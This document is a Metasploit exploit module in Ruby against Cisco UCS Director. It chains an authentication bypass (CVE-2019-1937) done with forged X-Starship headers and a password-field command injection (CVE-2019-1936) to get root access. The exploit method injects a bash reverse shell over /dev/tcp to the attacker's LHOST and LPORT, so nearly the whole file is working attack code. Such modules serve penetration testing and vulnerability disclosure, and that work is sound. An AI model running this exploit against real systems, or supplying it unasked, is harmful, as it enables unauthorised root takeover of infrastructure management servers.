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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Cisco UCS Director Unauthenticated Remote Code Execution',
      'Description'    => %q{
        The Cisco UCS Director virtual appliance contains two flaws that can be combined
        and abused by an attacker to achieve remote code execution as root.
        The first one, CVE-2019-1937, is an authentication bypass, that allows the
        attacker to authenticate as an administrator.
        The second one, CVE-2019-1936, is a command injection in a password change form,
        that allows the attacker to inject commands that will execute as root.
        This module combines both vulnerabilities to achieve the unauthenticated command
        injection as root.
        It has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0.
        Note that Cisco also mentions in their advisory that their IMC Supervisor and
        UCS Director Express are also affected by these vulnerabilities, but this module
        was not tested with those products.
      },
      'Author'         =>
        [
          'Pedro Ribeiro <pedrib[at]gmail.com>'        # Vulnerability discovery and Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2019-1937' ], # auth bypass
          [ 'CVE', '2019-1936' ], # command injection
          [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-authby' ],
          [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-cmdinj' ],
          [ 'URL', 'FULL_DISC' ],
          [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt' ]
        ],
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'DefaultOptions' =>
        {
          'payload' => 'cmd/unix/reverse_bash',
        },
      'Targets'        =>
        [
          [ 'Cisco UCS Director < 6.7.2.0', {} ],
        ],
      'Privileged'     => true,
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Aug 21 2019'
    ))

    register_options(
      [
        Opt::RPORT(443),
        OptBool.new('SSL', [true, 'Connect with TLS', true]),
        OptString.new('TARGETURI', [true,  "Default server path", '/']),
      ])
  end

  def check
    # can't think of anything better then this
    res = send_request_cgi({
      'uri'    => normalize_uri(target_uri.path, 'app', 'ui', 'login'),
      'method' => 'GET'
    })
    if res and res.code == 302
        return Exploit::CheckCode::Detected
    end

    return Exploit::CheckCode::Unknown
  end

  def exploit
    # step 1: get a JSESSIONID cookie
    res = send_request_cgi(
      'uri'    => normalize_uri(target_uri.path, 'app', 'ui', 'login'),
      'method' => 'GET'
    )

    if res and (res.code == 200 or res.code == 302)
      jsession = res.get_cookies.split(';')[0]

      # step 2: authenticate our cookie as admin
      res = send_request_cgi({
        'uri'       => normalize_uri(target_uri.path, 'app', 'ui', 'ClientServlet'),
        'cookie'    => jsession,
        'vars_get'  =>
          {
            'apiName'     => 'GetUserInfo'
          },
        'headers'   =>
          {
            # X-Requested-With and Referer headers are needed, else the server ignores us
            # The X-Starship headers are the key to this auth bypass vuln, see the References
            'X-Requested-With'            => 'XMLHttpRequest',
            'Referer'                     => "https://#{rhost}#{rport == 443 ? "" : ":" + rport}/",
            'X-Starship-UserSession-Key'  => "#{rand_text_alpha(5..12)}",
            'X-Starship-Request-Key'      => "#{rand_text_alpha(5..12)}"
          },
        'method' => 'GET'
      })

      if res and res.code == 200 and res.body.include?("admin")
        if not res.get_cookies.empty?
          # if the server returns a new cookie, use that
          jsession = res.get_cookies.split(';')[0]
        end
        print_good("#{peer} - Successfully bypassed auth and got our admin JSESSIONID cookie!")

        # step 3: request our reverse shell
        payload = %{{"param0":"admin","param1":{"ids":null,"targetCuicId":null,"uiMenuTag":23,"cloudName":null,"filterId":null,"id":null,"type":10},"param2":"scpUserConfig","param3":[{"fieldId":"FIELD_ID_USERNAME","value":"scpuser"},{"fieldId":"FIELD_ID_DESCRIPTION","value":"The 'scpuser' will be configured on this appliance in order to enable file transfer operations via the 'scp' command. This user account cannot be used to login to the GUI or shelladmin."},{"fieldId":"FIELD_ID_PASSWORD","value":"`bash -i >& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1 &``"}]}}

        res = send_request_cgi({
          'uri'       => normalize_uri(target_uri.path, 'app', 'ui', 'ClientServlet'),
          'cookie'    => jsession,
          'headers'   =>
            {
              # X-Requested-With and Referer headers are needed, else the server ignores us
              # The X-Starship headers are the key to this auth bypass vuln, see the References
              'X-Requested-With'            => 'XMLHttpRequest',
              'Referer'                     => "https://#{rhost}#{rport == 443 ? "" : ":" + rport}/",
            },
          'method' => 'POST',
          'vars_post' =>
            {
              'formatType'  => 'json',
              'apiName'     => 'ExecuteGenericOp',
              'serviceName' => 'InfraMgr',
              'opName'      => 'doFormSubmit',
              'opData'      => payload
            }
        })
        if res and res.code == 200
          print_good("#{peer} - Shelly is here, press ENTER to start playing with her!")
        end
      else
        fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie")
      end
    else
      fail_with(Failure::Unknown, "#{peer} - Failed to obtain JSESSIONID cookie")
    end
  end
end